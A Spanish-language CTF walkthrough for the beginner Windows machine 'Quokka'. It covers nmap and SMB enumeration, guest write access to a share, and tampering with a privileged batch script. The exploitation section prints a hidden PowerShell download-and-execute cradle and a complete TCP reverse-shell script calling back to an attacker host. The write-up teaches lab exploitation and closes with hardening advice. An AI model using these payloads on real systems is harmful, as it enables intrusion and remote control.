# TheHackerLabs - Principiante : [Quokka]

5 min read
writeup-THL
Table of Contents

📛 Nombre: Quokka | 📈 Dificultad: Principiante | 💻 SO: Windows | 👨‍💻 Creador: Oscar

🕵️ Resolución del CTF Quokka

Bienvenidos al desafío “Quokka”, un CTF de nivel principiante en el que se exploran vulnerabilidades en IIS y Samba en un entorno de Windows Server. En este reto, los jugadores deben analizar servicios básicos y comprender la infraestructura para lograr su objetivo.

🌐 Web oficial del CTF: TheHackersLabs - Quokka

Obteniendo Información

Paso 1: Obtenemos IP

Iniciamos con arp-scan para identificar la dirección IP de la máquina objetivo dentro de nuestra red local:

Terminal window
──(oscar㉿kali)-[~]
└─$ sudo arp-scan -I eth0 --localnet | grep -i "08:00:27:c7:7e:d7"
192.168.1.48 08:00:27:c7:7e:d7 (Unknown)

Paso 2: Escaneo de Puertos y Servicios

Realizamos un escaneo completo de puertos y servicios utilizando nmap.

Terminal window
┌──(oscar㉿kali)-[~]
└─$ sudo nmap -sSCV -p- -Pn -n --min-rate 5000 192.168.1.48
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Portfolio y Noticias Tech de Quokka
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:C7:7E:D7 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

El escaneo reveló un servidor IIS y un servicio Samba.

Análisis de IIS

Al acceder al servidor en el puerto 80, encontramos un portal de tipo blog, con entradas sobre tecnología. No parecen tener ningún vínculo significativo, pero al observar los detalles, notamos algo interesante:

Una de las entradas menciona que los encargados del proyecto “Quokka”, Daniel y Luis, deben revisar un servicio secundario con privilegios. Curiosamente, estos nombres coinciden con los usuarios en la sección de contacto del portal. Aunque IIS no parece tener vulnerabilidades aquí, esta pista sugiere que podría haber algo en el servicio Samba.

Análisis de Samba

Exploración de Carpetas Compartidas

Probamos con un comando básico de netexec usando las credenciales de guest para ver los recursos compartidos:

Terminal window
netexec smb 192.168.1.48 -u 'guest' -p '' --shares

Salida:

SMB 192.168.1.48 445 WIN-BFBAV3DDG0N [*] Windows Server 2022 Build 20348 x64 (name:WIN-BFBAV3DDG0N) (domain:WIN-BFBAV3DDG0N) (signing:False) (SMBv1:False)
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N [+] WIN-BFBAV3DDG0N\guest: (Guest)
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N [*] Enumerated shares
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N Share Permissions Remark
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N ADMIN$ Admin remota
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N C$ Recurso predeterminado
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N IPC$ READ IPC remota
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N Shared READ,WRITE

El blog tenía razón: guest tiene acceso de lectura y escritura en C:\Shared. A continuación, listamos la estructura de carpetas que encontramos en Samba:

C:\Shared\
├── Documentación\
│ ├── Informe_Proyecto.pdf
│ ├── Diagrama_Flujo.pptx
│ ├── Procedimientos\
│ │ ├── Backup_Policy.txt
│ │ ├── Plan_Recuperacion.docx
│ │ └── Instrucciones_Reinicio.docx
│ ├── Archivos_Antiguos\
│ │ ├── Antiguo_Informe.docx
│ │ ├── README.txt
│ │ └── Cambios_2022.txt
│ └── Configuraciones\
│ ├── Config_Servidores.xlsx
│ ├── FTP_Configuracion.txt
│ └── Config_Red.docx
├── Proyectos\
│ ├── Quokka\
│ │ ├── Diseño\
│ │ │ ├── Wireframe_Quokka.jpg
│ │ │ ├── Quokka_Logo.psd
│ │ │ └── Assets\
│ │ │ ├── Iconos\
│ │ │ └── Imágenes\
│ │ ├── Código\
│ │ │ ├── index.html
│ │ │ ├── mantenimiento.bat (Vulnerabilidad Oculta)
│ │ │ └── README.md
│ │ ├── Documentación_Interna.docx
│ │ └── Manual_Quokka.pdf
│ ├── Proyecto_X\
│ │ ├── README.txt
│ │ ├── Esquema_Funcionalidad.pptx
│ │ └── Código\
│ │ ├── app.py
│ │ └── config.yaml
│ └── Proyecto_Antiguo\
│ ├── Informe_Final_2020.pdf
│ ├── Resultados.xlsx
│ └── Plan_Migración.docx
└── Logs\
├── Accesos\
│ ├── Acceso_2023.txt
│ └── Acceso_2022.txt
├── Backups\
│ ├── Backup_01_2023.log
│ ├── Backup_02_2023.log
│ └── Backup_03_2023.log
└── Fallos_Sistema\
├── Error_01.log
└── Error_02.log

Conexión a Samba

Usamos smbclient para conectarnos al recurso compartido Shared:

Terminal window
┌──(oscar㉿kali)-[~]
└─$ smbclient -U guest% //192.168.1.48/Shared
smb: \> ls

Después de listar las carpetas, navegamos hacia el directorio Proyectos\Quokka\Código, donde encontramos el script mantenimiento.bat:

smb: \Proyectos\Quokka\Código\> ls
mantenimiento.bat

Explotación del Script Vulnerable

Análisis del Archivo

Al descargar y analizar el archivo mantenimiento.bat, encontramos comentarios sospechosos:

:: Pista: Este script se ejecuta con permisos elevados. Seguro que no hay nada más?

El archivo tiene permisos elevados, y podemos modificarlo.

Modificación del Script

Sustituimos el contenido del archivo mantenimiento.bat para ejecutar una reverse shell de PowerShell:

@echo off
:: Reverse shell a Kali
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.36:8000/shell.ps1')"
:: Fin del script
exit

Creación del Archivo shell.ps1

Creamos el script shell.ps1 que contendrá el código de la reverse shell:

Terminal window
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.36", 4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close()

Nos ponemos en escucha con nc en el puerto 4444 y levantamos un servidor web en Python para servir el archivo shell.ps1.

Conclusión

En este laboratorio, hemos explotado vulnerabilidades en IIS y Samba para obtener acceso a un sistema Windows Server. Las vulnerabilidades clave incluían una configuración incorrecta en el servicio Samba, permitiendo el acceso de guest con permisos de lectura y escritura, y la posibilidad de modificar un script de mantenimiento con permisos elevados. Esto nos permitió inyectar un reverse shell para ganar control sobre la máquina.

Para evitar ser víctimas de estas vulnerabilidades, es fundamental:

  • Configurar adecuadamente los permisos de acceso a recursos compartidos y restringir el acceso de cuentas como guest.
  • Auditar y proteger los scripts de mantenimiento, especialmente aquellos que se ejecutan con permisos elevados.
  • Mantener el sistema y sus servicios actualizados con los últimos parches de seguridad.

Agradecimientos

Soy el creador de este laboratorio. Es mi primera máquina Windows, y he aprendido mucho en el proceso. Gracias, como siempre, a 🌐 TheHackersLabs por su inspiración y apoyo en la comunidad de CTF. ¡Espero que disfruten resolviendo este desafío tanto como yo disfruté creándolo!

My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.


More Posts